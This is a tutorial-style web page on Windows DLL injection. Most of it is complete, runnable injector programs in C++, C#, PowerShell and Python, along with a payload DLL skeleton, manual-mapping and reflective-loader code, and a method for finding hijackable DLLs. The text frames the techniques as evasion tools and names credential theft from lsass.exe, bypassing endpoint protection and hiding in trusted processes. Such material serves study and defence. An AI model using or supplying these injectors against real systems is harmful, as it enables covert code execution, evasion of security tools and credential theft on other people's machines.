
DLL Injection Techniques
Comprehensive guide to DLL injection methods in Windows — from classic LoadLibrary injection to advanced reflective DLL injection and DLL hijacking techniques.
Introduction
DLL Injection is a sophisticated technique that involves inserting a Dynamic Link Library (DLL) into the address space of a running process, allowing the injected code to execute within the target process's security context. This powerful capability enables attackers to modify program behavior, intercept function calls, harvest credentials, bypass security controls, and evade detection by executing malicious code within legitimate processes.
Dual-Use Technology
DLL injection is a legitimate technique used for hot-patching, debugging, profiling, and extending application functionality. However, the same capabilities make it a cornerstone of modern malware, rootkits, and advanced persistent threats (APTs).
Why DLL Injection Matters
Legitimate Use Cases
Software Development and Maintenance:
- Hot Patching: Update running applications without restart (e.g., Azure servers)
- API Hooking: Monitor and modify application behavior for debugging
- Performance Profiling: Inject instrumentation code for performance analysis
- Plugin Systems: Extend application functionality dynamically
- Compatibility Shims: Patch legacy applications for modern OS compatibility
Security and IT Operations:
- Endpoint Detection and Response (EDR): Monitor process behavior
- Data Loss Prevention (DLP): Intercept and inspect data transfers
- Application Virtualization: Redirect file and registry operations
- Privilege Management: Inject credential prompts and access controls
Malicious Use Cases
Evasion and Stealth:
- Execute malicious code within trusted processes (e.g.,
explorer.exe,svchost.exe) - Bypass application whitelisting and endpoint protection
- Hide from process monitoring and task managers
- Evade signature-based detection
Credential Theft:
- Hook authentication APIs to capture plaintext passwords
- Inject into
lsass.exeto extract credentials from memory - Intercept browser and application authentication
Privilege Escalation:
- Inject into SYSTEM-level processes
- Manipulate security tokens within privileged contexts
- Bypass User Account Control (UAC) through trusted processes
Persistence and Lateral Movement:
- Maintain persistence by injecting into long-running processes
- Move laterally by injecting into remote processes via network protocols
- Establish command and control channels through legitimate processes
DLL Injection Techniques
Classic LoadLibrary Injection
The most common and well-understood DLL injection method leverages the Windows LoadLibrary API to load a DLL into a target process's address space.
How LoadLibrary Injection Works
Open Target Process
Use OpenProcess to obtain a handle with necessary permissions:
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
targetProcessID
);Allocate Memory in Target
Allocate memory in the target process for the DLL path:
LPVOID pRemoteMemory = VirtualAllocEx(
hProcess,
NULL,
strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);Write DLL Path
Write the DLL path string into the allocated memory:
WriteProcessMemory(
hProcess,
pRemoteMemory,
dllPath,
strlen(dllPath) + 1,
NULL
);Get LoadLibrary Address
Retrieve the address of LoadLibraryA from kernel32.dll:
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"LoadLibraryA"
);Create Remote Thread
Execute LoadLibraryA in the target process via a remote thread:
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteMemory,
0,
NULL
);Complete Implementation
Full C++ LoadLibrary Injector
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD GetProcessIdByName(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32)) {
CloseHandle(hSnapshot);
return 0;
}
DWORD pid = 0;
do {
if (_stricmp(pe32.szExeFile, processName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
return pid;
}
BOOL InjectDLL(DWORD processID, const char* dllPath) {
printf("[*] Attempting to inject DLL into PID: %d\n", processID);
// Step 1: Open target process
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
processID
);
if (hProcess == NULL) {
printf("[-] Failed to open target process. Error: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened target process handle: 0x%p\n", hProcess);
// Step 2: Allocate memory in target process
SIZE_T dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteMemory = VirtualAllocEx(
hProcess,
NULL,
dllPathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (pRemoteMemory == NULL) {
printf("[-] Failed to allocate memory in target process. Error: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Allocated memory at: 0x%p\n", pRemoteMemory);
// Step 3: Write DLL path to allocated memory
if (!WriteProcessMemory(hProcess, pRemoteMemory, dllPath, dllPathLen, NULL)) {
printf("[-] Failed to write DLL path to target process. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Wrote DLL path to target process memory\n");
// Step 4: Get LoadLibraryA address
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
if (hKernel32 == NULL) {
printf("[-] Failed to get kernel32.dll handle\n");
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibrary == NULL) {
printf("[-] Failed to get LoadLibraryA address. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] LoadLibraryA address: 0x%p\n", pLoadLibrary);
// Step 5: Create remote thread
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteMemory,
0,
NULL
);
if (hThread == NULL) {
printf("[-] Failed to create remote thread. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Created remote thread. TID: %d\n", GetThreadId(hThread));
// Wait for thread to complete
WaitForSingleObject(hThread, INFINITE);
// Get thread exit code (HMODULE of loaded DLL)
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
if (exitCode == 0) {
printf("[-] DLL injection failed. LoadLibrary returned NULL\n");
} else {
printf("[+] DLL successfully injected! Module base: 0x%X\n", exitCode);
}
// Cleanup
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return (exitCode != 0);
}
int main(int argc, char* argv[]) {
if (argc != 3) {
printf("Usage: %s <process_name> <dll_path>\n", argv[0]);
printf("Example: %s notepad.exe C:\\\\malicious.dll\n", argv[0]);
return 1;
}
const char* processName = argv[1];
const char* dllPath = argv[2];
// Check if DLL exists
if (GetFileAttributes(dllPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] DLL not found: %s\n", dllPath);
return 1;
}
// Get target process ID
DWORD pid = GetProcessIdByName(processName);
if (pid == 0) {
printf("[-] Process not found: %s\n", processName);
return 1;
}
printf("[*] Target Process: %s (PID: %d)\n", processName, pid);
printf("[*] DLL Path: %s\n", dllPath);
if (InjectDLL(pid, dllPath)) {
printf("[+] Injection completed successfully!\n");
return 0;
} else {
printf("[-] Injection failed\n");
return 1;
}
}C# LoadLibrary Injector
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace DLLInjector
{
class Program
{
// P/Invoke declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
// Constants
const uint PROCESS_CREATE_THREAD = 0x0002;
const uint PROCESS_QUERY_INFORMATION = 0x0400;
const uint PROCESS_VM_OPERATION = 0x0008;
const uint PROCESS_VM_WRITE = 0x0020;
const uint PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_READWRITE = 0x04;
const uint MEM_RELEASE = 0x8000;
static bool InjectDLL(int processId, string dllPath)
{
Console.WriteLine($"[*] Attempting to inject DLL into PID: {processId}");
// Open target process
IntPtr hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
false,
processId
);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine($"[-] Failed to open target process. Error: {Marshal.GetLastWin32Error()}");
return false;
}
Console.WriteLine($"[+] Opened target process handle: 0x{hProcess.ToInt64():X}");
try
{
// Allocate memory in target process
byte[] dllBytes = Encoding.ASCII.GetBytes(dllPath + "\0");
IntPtr pRemoteMemory = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)dllBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (pRemoteMemory == IntPtr.Zero)
{
Console.WriteLine($"[-] Failed to allocate memory. Error: {Marshal.GetLastWin32Error()}");
return false;
}
Console.WriteLine($"[+] Allocated memory at: 0x{pRemoteMemory.ToInt64():X}");
// Write DLL path to allocated memory
if (!WriteProcessMemory(hProcess, pRemoteMemory, dllBytes, (uint)dllBytes.Length, out _))
{
Console.WriteLine($"[-] Failed to write DLL path. Error: {Marshal.GetLastWin32Error()}");
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
return false;
}
Console.WriteLine("[+] Wrote DLL path to target process memory");
// Get LoadLibraryA address
IntPtr hKernel32 = GetModuleHandle("kernel32.dll");
IntPtr pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibrary == IntPtr.Zero)
{
Console.WriteLine($"[-] Failed to get LoadLibraryA address");
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
return false;
}
Console.WriteLine($"[+] LoadLibraryA address: 0x{pLoadLibrary.ToInt64():X}");
// Create remote thread
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
pLoadLibrary,
pRemoteMemory,
0,
out _
);
if (hThread == IntPtr.Zero)
{
Console.WriteLine($"[-] Failed to create remote thread. Error: {Marshal.GetLastWin32Error()}");
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
return false;
}
Console.WriteLine("[+] Created remote thread successfully");
// Wait for thread to complete
WaitForSingleObject(hThread, 0xFFFFFFFF); // INFINITE
Console.WriteLine("[+] DLL injection completed!");
// Cleanup
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
static void Main(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("Usage: DLLInjector.exe <process_name> <dll_path>");
Console.WriteLine("Example: DLLInjector.exe notepad.exe C:\\malicious.dll");
return;
}
string processName = args[0];
string dllPath = args[1];
// Find process by name
Process[] processes = Process.GetProcessesByName(processName.Replace(".exe", ""));
if (processes.Length == 0)
{
Console.WriteLine($"[-] Process not found: {processName}");
return;
}
int pid = processes[0].Id;
Console.WriteLine($"[*] Target Process: {processName} (PID: {pid})");
Console.WriteLine($"[*] DLL Path: {dllPath}");
if (InjectDLL(pid, dllPath))
{
Console.WriteLine("[+] Injection completed successfully!");
}
else
{
Console.WriteLine("[-] Injection failed");
}
}
}
}PowerShell DLL Injector
function Invoke-DLLInjection {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$ProcessName,
[Parameter(Mandatory=$true)]
[string]$DLLPath
)
# P/Invoke definitions
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
Add-Type -TypeDefinition $Kernel32
# Constants
$PROCESS_ALL_ACCESS = 0x1F0FFF
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_READWRITE = 0x04
Write-Host "[*] Starting DLL Injection" -ForegroundColor Cyan
# Get target process
$process = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue
if (-not $process) {
Write-Error "Process not found: $ProcessName"
return
}
$processId = $process.Id
Write-Host "[*] Target Process: $ProcessName (PID: $processId)" -ForegroundColor Cyan
# Verify DLL exists
if (-not (Test-Path $DLLPath)) {
Write-Error "DLL not found: $DLLPath"
return
}
Write-Host "[*] DLL Path: $DLLPath" -ForegroundColor Cyan
# Open process
$hProcess = [Kernel32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $processId)
if ($hProcess -eq [IntPtr]::Zero) {
Write-Error "Failed to open process"
return
}
Write-Host "[+] Opened process handle: 0x$($hProcess.ToString('X'))" -ForegroundColor Green
try {
# Allocate memory
$dllBytes = [System.Text.Encoding]::ASCII.GetBytes($DLLPath + "`0")
$pRemoteMemory = [Kernel32]::VirtualAllocEx(
$hProcess,
[IntPtr]::Zero,
$dllBytes.Length,
($MEM_COMMIT -bor $MEM_RESERVE),
$PAGE_READWRITE
)
if ($pRemoteMemory -eq [IntPtr]::Zero) {
Write-Error "Failed to allocate memory"
return
}
Write-Host "[+] Allocated memory at: 0x$($pRemoteMemory.ToString('X'))" -ForegroundColor Green
# Write DLL path
$bytesWritten = [IntPtr]::Zero
$result = [Kernel32]::WriteProcessMemory(
$hProcess,
$pRemoteMemory,
$dllBytes,
$dllBytes.Length,
[ref]$bytesWritten
)
if (-not $result) {
Write-Error "Failed to write DLL path"
return
}
Write-Host "[+] Wrote DLL path to target process" -ForegroundColor Green
# Get LoadLibraryA address
$hKernel32 = [Kernel32]::GetModuleHandle("kernel32.dll")
$pLoadLibrary = [Kernel32]::GetProcAddress($hKernel32, "LoadLibraryA")
Write-Host "[+] LoadLibraryA address: 0x$($pLoadLibrary.ToString('X'))" -ForegroundColor Green
# Create remote thread
$threadId = [IntPtr]::Zero
$hThread = [Kernel32]::CreateRemoteThread(
$hProcess,
[IntPtr]::Zero,
0,
$pLoadLibrary,
$pRemoteMemory,
0,
[ref]$threadId
)
if ($hThread -eq [IntPtr]::Zero) {
Write-Error "Failed to create remote thread"
return
}
Write-Host "[+] Created remote thread" -ForegroundColor Green
# Wait for completion
[Kernel32]::WaitForSingleObject($hThread, 0xFFFFFFFF) | Out-Null
Write-Host "[+] DLL injection completed successfully!" -ForegroundColor Green
# Cleanup
[Kernel32]::CloseHandle($hThread) | Out-Null
} finally {
[Kernel32]::CloseHandle($hProcess) | Out-Null
}
}
# Example usage
# Invoke-DLLInjection -ProcessName "notepad" -DLLPath "C:\malicious.dll"Python DLL Injector (using ctypes)
import sys
import ctypes
from ctypes import wintypes
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04
# Load Windows DLLs
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
# Function prototypes
OpenProcess = kernel32.OpenProcess
OpenProcess.restype = wintypes.HANDLE
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.restype = wintypes.LPVOID
VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t,
wintypes.DWORD, wintypes.DWORD]
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.restype = wintypes.BOOL
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID,
ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
GetModuleHandle = kernel32.GetModuleHandleW
GetModuleHandle.restype = wintypes.HMODULE
GetModuleHandle.argtypes = [wintypes.LPCWSTR]
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.restype = wintypes.LPVOID
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.restype = wintypes.HANDLE
CreateRemoteThread.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t,
wintypes.LPVOID, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPDWORD]
WaitForSingleObject = kernel32.WaitForSingleObject
WaitForSingleObject.restype = wintypes.DWORD
WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
CloseHandle = kernel32.CloseHandle
CloseHandle.restype = wintypes.BOOL
CloseHandle.argtypes = [wintypes.HANDLE]
def inject_dll(process_id, dll_path):
"""
Inject DLL into target process using LoadLibrary technique
"""
print(f"[*] Attempting to inject DLL into PID: {process_id}")
# Open target process
h_process = OpenProcess(PROCESS_ALL_ACCESS, False, process_id)
if not h_process:
print(f"[-] Failed to open process. Error: {ctypes.get_last_error()}")
return False
print(f"[+] Opened process handle: 0x{h_process:X}")
try:
# Allocate memory in target process
dll_path_bytes = dll_path.encode('ascii') + b'\x00'
dll_path_len = len(dll_path_bytes)
p_remote_memory = VirtualAllocEx(
h_process,
None,
dll_path_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
)
if not p_remote_memory:
print(f"[-] Failed to allocate memory. Error: {ctypes.get_last_error()}")
return False
print(f"[+] Allocated memory at: 0x{p_remote_memory:X}")
# Write DLL path to allocated memory
bytes_written = ctypes.c_size_t(0)
result = WriteProcessMemory(
h_process,
p_remote_memory,
dll_path_bytes,
dll_path_len,
ctypes.byref(bytes_written)
)
if not result:
print(f"[-] Failed to write DLL path. Error: {ctypes.get_last_error()}")
return False
print(f"[+] Wrote {bytes_written.value} bytes to target process")
# Get LoadLibraryA address
h_kernel32 = GetModuleHandle("kernel32.dll")
p_load_library = GetProcAddress(h_kernel32, b"LoadLibraryA")
if not p_load_library:
print(f"[-] Failed to get LoadLibraryA address")
return False
print(f"[+] LoadLibraryA address: 0x{p_load_library:X}")
# Create remote thread
thread_id = wintypes.DWORD(0)
h_thread = CreateRemoteThread(
h_process,
None,
0,
p_load_library,
p_remote_memory,
0,
ctypes.byref(thread_id)
)
if not h_thread:
print(f"[-] Failed to create remote thread. Error: {ctypes.get_last_error()}")
return False
print(f"[+] Created remote thread with TID: {thread_id.value}")
# Wait for thread to complete
WaitForSingleObject(h_thread, 0xFFFFFFFF) # INFINITE
print("[+] DLL injection completed successfully!")
# Cleanup
CloseHandle(h_thread)
return True
finally:
CloseHandle(h_process)
def main():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <process_id> <dll_path>")
print(f"Example: {sys.argv[0]} 1234 C:\\malicious.dll")
return 1
try:
process_id = int(sys.argv[1])
except ValueError:
print("[-] Invalid process ID")
return 1
dll_path = sys.argv[2]
print(f"[*] Target PID: {process_id}")
print(f"[*] DLL Path: {dll_path}")
if inject_dll(process_id, dll_path):
print("[+] Injection successful!")
return 0
else:
print("[-] Injection failed")
return 1
if __name__ == "__main__":
sys.exit(main())Creating an Injected DLL
The DLL being injected must have a proper entry point (DllMain) that executes when loaded:
#include <windows.h>
#include <stdio.h>
// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code executed when DLL is loaded
MessageBoxA(NULL, "DLL Injected Successfully!", "Injection", MB_OK);
// Create a file to prove execution
FILE* fp = fopen("C:\\Temp\\injected.txt", "w");
if (fp) {
fprintf(fp, "DLL injected at: %s\n", __TIMESTAMP__);
fclose(fp);
}
// Launch calculator as proof of execution
WinExec("calc.exe", SW_SHOW);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}DllMain Restrictions
DllMain has strict limitations on what can be executed safely:
- Avoid calling LoadLibrary/LoadLibraryEx
- Avoid creating threads
- Keep code minimal and fast
- For complex operations, create a separate thread from DllMain
Manual Mapping
Manual Mapping is an advanced DLL injection technique that manually loads a DLL into a process's memory without using Windows loader functions like LoadLibrary. This approach bypasses many detection mechanisms that monitor LoadLibrary calls.
Why Manual Mapping?
Advantages:
- Stealth: Doesn't appear in module lists (PEB)
- Evasion: Bypasses API hooks on LoadLibrary
- Control: Full control over loading process
- Flexibility: Can load DLLs from memory without touching disk
Disadvantages:
- Complexity: Must manually handle imports, relocations, and TLS
- Stability: Higher risk of crashes if not implemented correctly
- Size: Injector code is significantly larger
Manual Mapping Process
Read DLL from Disk
Load the DLL file into memory:
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, fileBuffer, fileSize, NULL, NULL);
CloseHandle(hFile);Parse PE Headers
Extract necessary information from PE structure:
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)fileBuffer + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeaders->OptionalHeader;Allocate Memory in Target
LPVOID pTargetBase = VirtualAllocEx(
hProcess,
NULL,
pOptionalHeader->SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);Write Headers
WriteProcessMemory(hProcess, pTargetBase, fileBuffer, pOptionalHeader->SizeOfHeaders, NULL);Write Sections
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(
hProcess,
(LPVOID)((LPBYTE)pTargetBase + pSectionHeader[i].VirtualAddress),
(LPVOID)((LPBYTE)fileBuffer + pSectionHeader[i].PointerToRawData),
pSectionHeader[i].SizeOfRawData,
NULL
);
}Resolve Imports
Write shellcode to target process that resolves import table
Perform Relocations
Apply base relocations if DLL loaded at different address than preferred
Execute TLS Callbacks
Call Thread Local Storage callbacks if present
Call Entry Point
Execute DllMain (or custom entry point)
Complexity Trade-off
Manual Mapping requires handling PE structures, import resolution, and relocations manually. While complex, it offers superior evasion capabilities against detection systems.
Reflective DLL Injection
Reflective DLL Injection is a sophisticated technique where the DLL contains its own custom loader code. The DLL is self-sufficient and can load itself into a process from memory without requiring an external loader.
Key Characteristics
Self-Loading:
- DLL contains
ReflectiveLoaderfunction - Loader parses its own headers
- Resolves its own imports
- Applies its own relocations
Memory-Only:
- DLL never touches disk
- Loaded entirely from memory
- Bypasses file-based detection
Minimal Footprint:
- Small bootstrap shellcode
- Single CreateRemoteThread call
- No suspicious API sequences
Stephen Fewer's Implementation
The canonical implementation by Stephen Fewer (GitHub):
ReflectiveLoader Function:
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) {
// 1. Find our own image base in memory
ULONG_PTR uiLibraryAddress = caller();
// 2. Parse our own PE headers
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pDosHeader->e_lfanew);
// 3. Find kernel32.dll export table to resolve API addresses
HMODULE hKernel32 = GetKernel32();
FARPROC pLoadLibraryA = GetProcAddressR(hKernel32, "LoadLibraryA");
FARPROC pGetProcAddress = GetProcAddressR(hKernel32, "GetProcAddress");
FARPROC pVirtualAlloc = GetProcAddressR(hKernel32, "VirtualAlloc");
// 4. Allocate memory for our image
LPVOID pImageBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 5. Copy sections to new location
CopySections(uiLibraryAddress, pImageBase, pNtHeaders);
// 6. Process import table
ProcessImports(pImageBase, pNtHeaders, pLoadLibraryA, pGetProcAddress);
// 7. Process relocations
ProcessRelocations(pImageBase, pNtHeaders);
// 8. Call DllMain
DllMain(pImageBase, DLL_PROCESS_ATTACH, NULL);
// 9. Return the new base address
return (ULONG_PTR)pImageBase;
}Injection Process:
// Read reflective DLL into memory
LPVOID dllBuffer = ReadDLLIntoMemory("reflective.dll");
// Find ReflectiveLoader export
DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuffer);
// Allocate memory in target and write DLL
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, dllBuffer, dllSize, NULL);
// Calculate remote ReflectiveLoader address
LPVOID remoteLoader = (LPVOID)((DWORD_PTR)remoteBuffer + loaderOffset);
// Execute ReflectiveLoader via remote thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteLoader, NULL, 0, NULL);Evasion Power
Reflective DLL Injection is highly effective at evading detection because:
- No LoadLibrary calls
- No on-disk artifacts
- Minimal suspicious API usage
- Self-contained loading process
DLL Hijacking
DLL Hijacking exploits the Windows DLL search order to load malicious DLLs instead of legitimate ones. When an application doesn't specify the full path to a DLL, Windows searches multiple directories in a specific order.
DLL Search Order
With Safe DLL Search Mode enabled (default):
- The directory from which the application is loaded
- The system directory (
C:\Windows\System32) - The 16-bit system directory (
C:\Windows\System) - The Windows directory (
C:\Windows) - The current directory
- Directories listed in PATH environment variable
With Safe DLL Search Mode disabled:
- The directory from which the application is loaded
- The current directory (moved up!)
- The system directory
- The 16-bit system directory
- The Windows directory
- Directories listed in PATH
Finding Vulnerable DLLs
Using Sysinternals Process Monitor
Download and Launch ProcMon
Download from Microsoft Sysinternals
Configure Filters
Set filters to show only relevant events:
- Process Name: Set to target executable (e.g.,
application.exe) - Operation:
is→Load Image - Result:
is→NAME NOT FOUND - Path:
ends with→.dll
Launch Target Application
Run the application you're analyzing
Review Results
Look for DLL load attempts that failed with "NAME NOT FOUND"
Identify Hijackable DLLs
Focus on DLLs loaded from:
- Application directory
- Current directory
- Writable locations
Example ProcMon output:
Time Process Operation Path Result
12:34:56.123 app.exe LoadImage C:\Program Files\App\missing.dll NAME NOT FOUND
12:34:56.234 app.exe LoadImage C:\Users\Public\missing.dll NAME NOT FOUNDPowerShell DLL Enumeration
function Find-HijackableDLLs {
param(
[Parameter(Mandatory=$true)]
[string]$ProcessName
)
# Start Process Monitor capture programmatically
Write-Host "[*] This requires Process Monitor to be running with appropriate filters"
Write-Host "[*] Set filters for '$ProcessName' and 'NAME NOT FOUND' on LoadImage operations"
# Alternative: Parse existing ProcMon CSV export
$procmonLog = Read-Host "Enter path to ProcMon CSV export"
if (Test-Path $procmonLog) {
$missingDLLs = Import-Csv $procmonLog |
Where-Object {
$_.Operation -eq "LoadImage" -and
$_.Result -eq "NAME NOT FOUND" -and
$_.Path -like "*.dll"
} |
Select-Object Time, "Process Name", Path, Result |
Sort-Object Path -Unique
Write-Host "`n[+] Found $($missingDLLs.Count) missing DLL attempts:"
$missingDLLs | Format-Table -AutoSize
# Analyze search order locations
$hijackable = $missingDLLs | Where-Object {
$path = $_.Path
# Check if location is writable
$directory = Split-Path $path -Parent
try {
$acl = Get-Acl $directory -ErrorAction Stop
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$writeAccess = $acl.Access | Where-Object {
$_.FileSystemRights -match "Write" -and
$_.IdentityReference -eq $currentUser
}
